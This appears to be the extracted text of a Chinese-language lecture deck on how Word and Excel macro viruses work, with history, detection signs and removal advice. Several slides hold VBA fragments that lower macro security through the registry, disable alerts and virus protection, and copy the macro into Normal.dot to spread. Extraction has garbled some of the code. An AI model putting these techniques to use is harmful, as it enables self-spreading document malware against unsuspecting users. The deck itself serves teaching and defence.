宏病毒原理及實現(xiàn)PPT課件.ppt

1、宏病毒的原理及實現(xiàn),宏（macro)，就是軟件設(shè)計者為了在使用軟件工作時，避免一再的重復(fù)相同的動作而設(shè)計出來的一種工具。它利用簡單的語法，把常用的動作寫成宏，當再工作時，就可以直接利用事先寫好的宏自動運行，去完成某項特定的任務(wù)，而不必再重復(fù)相同的動作。,什么是“宏”？,Microsoft Office、wps等辦公軟件 魔獸世界、劍網(wǎng)等游戲,哪里用到“宏”？,Office 宏的定義：Microsoft Word中對宏定義為：“宏就是能組織到一起作為一獨立的命令使用的一系列word命令，它能使日常工作變得更容易”,宏語言,宏語言即VISUAL BASIC FOR APPLICATION，簡稱 V

2、BA。 VBA 可以訪問許多操作系統(tǒng)函數(shù)并支持文檔打開時自動執(zhí)行宏 這使得用這種語言寫計算機病毒成為可能,Office各版本及其宏語言,6,Office自帶 Visual Basic 編輯器,注: 1、調(diào)用VB編輯器的快捷方式： Alt + F11 2、查看宏的快捷鍵： Alt + F8,office2007 查看宏代碼可以點擊： 視圖 宏 編輯,VBA簡介,直到90年代早期,使應(yīng)用程序自動化還是充滿挑戰(zhàn)性的領(lǐng)域。對每個需要自動化的應(yīng)用程序，人們不得不學(xué)習(xí)一種不同的自動化語言。例如: 用EXCEL的宏語言來使EXCEL自動化，使用WORD BASIC使WORD自動化等等。 微軟開發(fā)出來的應(yīng)用程

3、序共享一種通用的自動化語言-Visual Basic For Application(VBA)，實際上VBA是寄生于VB應(yīng)用程序的版本。 VB是設(shè)計用于創(chuàng)建標準的應(yīng)用程序,而VBA是使已有的應(yīng)用程序(EXCEL等)自動化。,word創(chuàng)建宏,Word 提供了兩種創(chuàng)建宏的方法：宏錄制器和 Visual Basic 編輯器。 宏錄制器可幫助用戶開始創(chuàng)建宏。Word 在 VBA編程語言中把宏錄制為一系列的 Word 命令?？稍?Visual Basic編輯器中打開已錄制的宏，修改其中的指令。也可用 Visual Basic編輯器創(chuàng)建包括 Visual Basic 指令的非常靈活和強有力的宏，這些指令無

4、法采用錄制的方式。,基于word的VBA編程,Sub AutoOpen() 定義函數(shù)名，AutoXXX為自動宏 While True 惡意代碼 ，死循環(huán) Msgbox ”Hello world” 調(diào)用對話框顯示消息 Wend End Sub 函數(shù)到此結(jié)束,基于word的VBA編程,Sub AutoOpen() Command.Caption = Shell C:Program FilesInternet ExplorerIEXPLORE.EXE vbNormalFocus For i = 1 To 10 Documents.Add 新添加一個word文檔 Next i End Sub,調(diào)用操作

5、系統(tǒng) Shell函數(shù),打開已安裝的應(yīng)用程序,Office有了宏，宏在office中的什么位置？,為了方便人們使用宏以及宏文件的傳遞使用，Word定義出一種文件格式，將文檔以及該文檔所需要的宏合在一起放在后綴為.dot的文件之中。正因為這種是宏也是資料的文檔格式，便產(chǎn)生了宏感染的可能性。,但是，Normal.dot上不能用來存儲數(shù)據(jù)，每次修改后都需另外保存。,有沒有一種文檔格式，既可以存儲宏，又可以用來存儲數(shù)據(jù)？,一、模板文件格式：.dot文檔：模板文檔，新文檔繼承模板的屬性（ 宏、菜單、格式等）。 Normal.dot文件：全局模板，在建立整個文檔中所起的作用是作為一個基類，是新建文檔默認的模

6、板。,二、數(shù)據(jù)文件格式 .doc一種可以存貯宏的普通文檔； .docx一種不包含宏的普通文檔； .docm一種包含宏或啟用了宏的文檔； .dotx一種不包含宏的模板； .dotm一種包含宏或啟用了宏的模板。,宏就在office文檔里 用普通文檔即可傳播宏文件,寫代碼簡單，傳播更簡單，那么，我們可不可以做點別的事？,其實宏病毒的出現(xiàn)并非出乎人們的意料，早在80年代后期就有專家預(yù)言過。那時，有些學(xué)生就用某些應(yīng)用程序的宏語言編寫病毒。然而，宏病毒與普通病毒不同，它不感染.EXE或.COM文件，而只感染文檔文件。宏病毒就像自然界中令人恐懼的龍卷風(fēng)，對人們正常使用計算機進行學(xué)習(xí)和工作帶來了不可估量的影響

7、，同時也造成了社會財富的巨大浪費。,1. Concept宏病毒,世界上的第一個宏病毒Concept可以感染W(wǎng)indows和蘋果機上的Microsoft Word文檔。這個病毒是用Microsoft Word 6.0中的宏語言編寫的，但它也能感染其他Word版本創(chuàng)建的文檔?？雌饋砭帉慍oncept宏病毒是為了證明確實可以用宏編程語言編寫病毒。因此，Concept宏病毒只是顯示一個對話框，宣示它的存在，并不故意破壞磁盤上的任何文件。,2 Nuclear宏病毒 這是一個對操作系統(tǒng)文件和打印輸出有破壞功能的宏病毒。這個宏病毒中包含以下病毒宏：AutoExec AutoOpen DropSuriv Fi

8、leExit FilePrint FilePrint DefaultFile SaveAs 這些宏是只執(zhí)行（Execute-only）宏 Nuclear宏病毒造成的破壞現(xiàn)象為： （1）打開一個染毒文檔井打印的時候，它會在您打印的最后一段加上“STOPALLFRENCHNUCLEARTESTING INTHEPACIFIC！”，這個現(xiàn)象是在每分鐘的55秒60秒之間操作打印時發(fā)生。 （2）如果在每天17:0018:00之間打開一個染毒文檔，Nuclear病毒會將PH33R病毒傳染到計算機上，這是個 駐留型病毒。 （3）在每年的4月5日，該病毒會將計算機上IO.SYS和MSDOS.SYS文件清零，并

9、且刪除C盤根目錄上的COMMAND. COM文件。一旦病毒發(fā)作，MSDOS就不可能被引導(dǎo)，計算機將陷入癱瘓。,3 臺灣一號病毒 臺灣一號病毒會在每月的13日影響您正常使用Word文檔和編輯器。它包含以下病毒宏：AutoClose、AutoNew、AutoOpen這些宏是可被編輯宏。在病毒宏中含有如下的語句：IfDay(Now()=13Then.這條語句與13日有關(guān)。臺灣一號病毒造成的危害是：在每月13日，若用戶使用Word打開一個帶毒的文檔（模板）時，病毒會被激發(fā)。激發(fā)時的現(xiàn)象是：在屏幕正中央彈出一個對話框，該對話框提示用戶做一個心算題，如做錯，它將會無限制地打開文件，直至Word內(nèi)存不夠，W

10、ord出錯為止；如心算題做對，會提示用戶“什么是巨集病毒（宏病毒）？”，回答“我就是巨集病毒”，再提示用戶：“如何預(yù)防巨集病毒？”，回答是“不要看我”。,2.1 宏病毒簡介,什么是宏病毒？,宏病毒是一種寄存在文檔或模板的宏中的計算機病毒。一旦打開這樣的文檔，其中的宏自動被執(zhí)行，于是宏病毒就會被激活，轉(zhuǎn)移到計算機上，并駐留在Normal模板上。從此以后，所有自動保存的文檔都會“感染”上這種宏病毒，而且如果其他用戶打開了感染病毒的文檔，宏病毒又會轉(zhuǎn)移到他的計算機上。,宏病毒的特點,（1）宏病毒會感染.DOC文檔和.DOT模版文件。 （2） 宏病毒的傳染通常是WORD在打開一個帶宏病毒的文檔或模版時

11、，激活宏病毒。 （3）多數(shù)宏病毒包含AutoOpen、AutoClose、AutoNew和AutoExit 等自動宏，通過這些自動宏病毒取得文檔(模版)操作權(quán)。 （4）宏病毒中總是含有對文檔讀寫操作的宏命令。 （5）病毒原理簡單，制作比較方便。 （6）傳播速度相對較快。,WORD 宏病毒的生命周期,21,編程語言：VBA、WordBasic等 運行環(huán)境：VBE,Word宏病毒的感染過程,宏病毒原理大揭秘,1、降低宏安全級別,以office2003版為例If Application.Version “11.0” Then 判斷office版本strFullname = ThisWorkbook.

12、FullName 取得當前工作薄的全名strVBS = Replace(UCase(strFullname), .XLS, .vbs) temp文件VBS的文件名Set WSH = CreateObject(“Wscript.Shell”) 創(chuàng)建Wscript對象Err.ClearOn Error Resume Next 出錯不提示，繼續(xù)regStr =,HKEY_CURRENT_USERSoftwareMicrosoftOffice11.0WordSecurityLevel“ 注冊表中Excel vba安全級別位置ret = WSH.RegRead(regStr) 讀取當前安全級別If Er

13、r.Number 0 Then 判斷讀取是否成功 vbOKOnly + vbCritical, Keanjeason Exit SubElse 如果當前Excel VBA安全級別不為“低”,則設(shè)置為“低”,值1-4分別對應(yīng)：低，中，高，非常高 If Val(ret) 1 Then ret = WSH.RegWrite(regStr, 1, REG_DWORD)End If,1、用戶使用Word執(zhí)行打開文檔、保存文檔、打印文檔和關(guān)閉文檔等操作時，Word會查找指定的標準宏： 例1：關(guān)閉文檔之前查找“FileSave”宏，如果存在，首先執(zhí)行這個宏 例2：打印文檔之前首先查找“FilePrint”宏

14、，如果存在則執(zhí)行這個宏,2、Word中另外還有一些以“Auto”開始的宏（自動宏），如“AutoOpen”、“AutoClose”等，如果建立了這些宏，打開/關(guān)閉文檔的時候?qū)⒆詣訄?zhí)行這些宏，這些宏一般是全局宏，對任何Word文檔都有效。,病毒觸發(fā)要隱含在正常的操作中，這些自動執(zhí)行的宏然是最好的宿主。,2、文檔的控制權(quán)獲取,宏病毒常用到的宏如下表所示,高明的病毒編寫者其自我保護將做得非常好，可以使word的一些工具欄失效，例如將工具菜單中的宏選項屏蔽，也可以修改注冊表達到很好的隱藏效果。,常用代碼示例： On Error Resume Next 如果發(fā)生錯誤，不彈出出錯窗口，繼續(xù)執(zhí)行下面語句 A

15、pplication.DisplayAlert = wdAlertsNoe 不彈出警告窗口 Application.EnableCancelKey = wdCancelDisabled 不允許通過ESC鍵結(jié)束正在運行的宏 Application.DisplayStatusBar = False 不顯示狀態(tài)欄，避免顯示宏的運行狀態(tài) Application.ScreenUpdating = False 不讓刷新屏幕，避免病毒運行引起刷新速度變慢 Option.VirusProtection = False 關(guān)閉病毒保護功能，運行前如果包含宏，不提示 Option.SaveNormalPrompt

16、= False 如果公用模板被修改，不給用戶提示窗口而直接保存,3、宏病毒的自我隱藏,1、Word宏病毒一般都首先隱藏在一個指定的Word文檔中，一旦打開了這個Word文檔，宏病毒就被執(zhí)行，宏病毒要做的第一件事情就是將自己拷貝到全局宏的區(qū)域，使得所有打開的文檔都可使用這個宏。,2、當Word退出的時候，全局宏將被存儲在某個全局的模板文檔(.dot文件)中，這個文件的名字通常是“Normal.dot”，即Normal模板。,3、如果全局宏模板被感染，則Word再啟動的時候?qū)⒆詣虞d入宏病毒并且自動執(zhí)行。,4、傳播與感染,1）得到正在操作的文檔代碼對象和公用模板的代碼對象。 Ourcode = Th

17、isDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If,2) 檢查模板是否已經(jīng)感染病毒，如果沒有，則復(fù)制宏病毒代碼到模板，并且修改函數(shù)名。 With host If .Lines(1, 1)

18、 moonlight Then .DeleteLines 1, .CountOfLines .InsertLines 3, Sub Document_Close() If ThisDocument = NormalTemplate Then .RbeplaceLine 3, Sub Document_Open() ActiveDocument.SaveAs ActiveDocument.FullName End If End If End With,宏病毒預(yù)防,宏病毒離不開可供其運行的系統(tǒng)軟件(WORD，EXCEL 等OFFICE 軟件)，所以宏病毒的檢測其實非常容易。只要留意一下常用的OFF

19、ICE 系統(tǒng)軟件是不是出現(xiàn)了一些不正常的現(xiàn)象，就能大概知道計算機是不是染上了宏病毒。,如何及時發(fā)現(xiàn)宏病毒？,（1）全局模板中出現(xiàn)宏。 （2）無故出現(xiàn)存盤操作。 （3）OFFICE功能混亂，無法使用。 （4）OFFICE菜單命令消失。 （5）OFFICE文檔的內(nèi)容發(fā)生變化。 （6）嘗試保存文檔時，只允許將文檔保存為文檔模版的格式。 （7）文檔圖標的外形類似模板而非文檔圖標。,Office不正常現(xiàn)象集錦,感染了宏病毒后，同樣可以用防治計算機病毒的軟件來查殺，亦可采用以下方法進行手工處理： 1、通過刪除宏命令的形式刪除宏病毒。 2、通過復(fù)制粘貼清除宏病毒代碼方式清除宏病毒。 3、通過刪除NORMAL

20、.DOT來除掉Word宏病毒。 4、通過格式轉(zhuǎn)換清除Word 宏病毒。 5、通過高版本的Word發(fā)現(xiàn)病毒宏。 6、為防萬一，在打開懷疑感染了宏病毒的文檔時按住SHIFT鍵，這樣可以避免宏自動運行，如果有宏病毒，則不會加載宏。,宏病毒的清除,日常辦公中,如何去避免宏病毒？,1、初級防護設(shè)置宏安全等級,36,針對 Office 2007 Officeword選項信任中心宏設(shè)置,為了防止利用“VBA”語言編制專門破壞電腦系統(tǒng)的病毒程序，Office自帶了“宏”檢測功能。設(shè)置宏的安全級別較高時，打開帶有“宏”的文檔時，會提示用戶注意，并讓用戶自行選擇是否啟用“宏”。,（1）根據(jù)AUTO宏的自動執(zhí)行的特點，在打開office文檔時，可按住shift鍵，來避免自動宏的運行。,（2）當懷疑系統(tǒng)帶有宏病毒時，首先應(yīng)檢查是否存在可疑的宏，也就是一些用戶沒有編制過、也不是OFFICE默認提供而出現(xiàn)的宏，如一些稀